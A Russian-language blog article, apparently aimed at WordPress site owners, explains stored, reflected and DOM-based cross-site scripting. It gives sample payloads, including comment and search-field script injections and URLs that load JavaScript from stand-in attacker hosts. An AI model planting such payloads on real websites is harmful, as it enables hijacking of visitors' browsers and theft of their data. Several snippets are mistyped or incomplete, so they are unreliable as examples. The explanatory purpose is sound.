Типы атак межсайтового скриптинга (XSS)
Опубликовано: 2022-11-04В нашей предыдущей статье о WordPress и межсайтовых сценариях мы подробно рассмотрели, что представляют собой эти типы атак и как вы можете их предотвратить. В этой статье мы подробно рассмотрим некоторые детали, а также несколько примеров межсайтового скриптинга. Пойдем!
Постоянный XSS
Постоянный XSS (или хранимый XSS) — один из основных типов межсайтового скриптинга. Он называется постоянным, потому что то, что внедряет злоумышленник, постоянно сохраняется на сервере для последующего использования. Всякий раз, когда посетитель переходит на определенную страницу, код выполняется браузером при загрузке или при вызове определенной функции.
Пример постоянного XSS :
Предположим, что в разделе комментариев под постом кто-то вводит сценарий оповещения вместе с простым ответом/мнением.
Great solution! It works for me.<script>alert("Some text message")</script>
Если раздел комментариев уязвим, а отправленные комментарии не продезинфицированы, то этот код будет сохранен в базе данных. В результате, с этого момента всякий раз, когда страница загружается (кем-либо) и «плохой комментарий» виден вместе со всеми комментариями, появляется всплывающее окно с сообщением.
Конечно, предупреждающее сообщение может быть раздражающим, но не очень опасным. Но что произойдет, если злоумышленник вставит вредоносный скрипт вместо предупреждающего сообщения, например:
Great solution! It works for me.<script scr="http://attackerswebsite.com/maliciousscript.js">
Вместо надоедливого всплывающего окна конечный пользователь столкнется с XSS-атакой. Ущерб будет зависеть от типа исполняемого кода. Вот почему атаки Stored XSS считаются такими опасными. Они атакуют каждого пользователя и даже не требуют каких-либо действий от пользователя (в первую очередь за исключением открытия страницы).
Непостоянный XSS
Хотя непостоянные (или рефлективные) XSS не так опасны, как постоянные XSS, они все же проблематичны, не в последнюю очередь потому, что они признаны наиболее распространенным типом атак с использованием межсайтовых сценариев.
По сути, то, что происходит при непостоянной XSS-атаке, заключается в том, что конечный пользователь нажимает на вредоносную ссылку, которая отправит его на другой веб-сайт, что вызовет выполнение неправильного кода. Атака осуществляется с помощью созданного URL-адреса или параметров HTTP и не сохраняется постоянно в базе данных, как в Persistent XSS.
Но перед проведением непостоянной атаки злоумышленник должен определить, уязвим ли веб-сайт для XSS-атак. Один из способов сделать это — использовать внутреннюю поисковую систему веб-сайта. Если вы введете строку, скажем, «обувь» для поиска и нажмете кнопку, будет выполнена функция, которая выглядит следующим образом:
http://exampledomain.com?query=shoes
Однако перед запуском функции введенная вами строка очищается или, по крайней мере, должна быть очищена, чтобы форма поиска была защищена от вредоносных входных данных.
Злоумышленник может использовать форму поиска и попытаться ввести такой скрипт:
<script type="text/javascript">alert("vulnerable");</script>
Если форма не продезинфицирована, она будет выполнять функцию в обычном режиме:
http://exampledomain.com?query=<script type="text/javascript">alert("vulnerable");</script>
Это (в этом примере) приведет к отображению всплывающего окна с предупреждением. Это когда злоумышленник знает, что форма поиска имеет XSS-уязвимость.
Пример непостоянного XSS
В случае обнаружения уязвимости на сайте злоумышленник может создать URL-адрес, который выглядит следующим образом:
http://exampledomain.com?query=shoes<\script%20src="http://attacker-site.com/malicious-code.js"
Затем они «маскируют» URL-адрес, чтобы он не выглядел как «плохая» ссылка, и пытаются побудить других щелкнуть по ней. Как правило, это может быть моя рассылка спама по электронной почте или, возможно, добавление ссылки на форум.
XSS на основе DOM
Во время инцидента XSS на основе DOM (или XSS на стороне клиента) атака проходит через URL-адрес, содержащий вредоносный код.
Это также считается уязвимостью на стороне клиента, поскольку выполняется в браузере жертвы, но здесь происходит изменение части DOM, в результате чего клиент запускает код без своего согласия.
ПРИМЕЧАНИЕ. Объектная модель документа (DOM) — это интерфейс, который определяет структуру макета веб-страницы путем подключения языка сценариев к фактической веб-странице. Для этого он позволяет разработчикам получать доступ к документу и выполнять операции для обновления содержимого.
Пример XSS на основе DOM:
Пример атаки межсайтового скриптинга на основе DOM можно продемонстрировать с помощью формы, которая позволяет вам выбрать вариант, например страну проживания. Давайте посмотрим, как это будет выглядеть на примере ниже:
Select your country: <select><script> document.write("<OPTION value=1>"+decodeURIComponent(document.location.href.substring(document.location.href.indexOf("country=")+8))+"</OPTION>"); document.write("<OPTION value=2>USA</OPTION>"); document.write("<OPTION value=2>Brazil</OPTION>"); </script></select>
Таким образом, к странице с выбранным параметром в форме можно получить доступ через URL-адрес, например:
http://localhost/?country=Lithuania
Но если вы попробуете ввести подобную запись (см. ниже), браузер создаст объект DOM, содержащий эту строку, и выполнит скрипт.
http://localhost/?country=Lithuania
Это происходит потому, что форма не защищена, а исходный код не готов к любой HTML-разметке. Итак, что он делает, так это рисует DOM на странице и запускает вредоносный скрипт.
Атаки XSS слишком распространены. Простой способ максимально защитить себя — всегда обновлять плагины на своем веб-сайте WordPress и использовать высококачественный хостинг. Мы надеемся, что эти примеры дали вам некоторое представление о том, как работают эти типы атак и на что следует обратить внимание!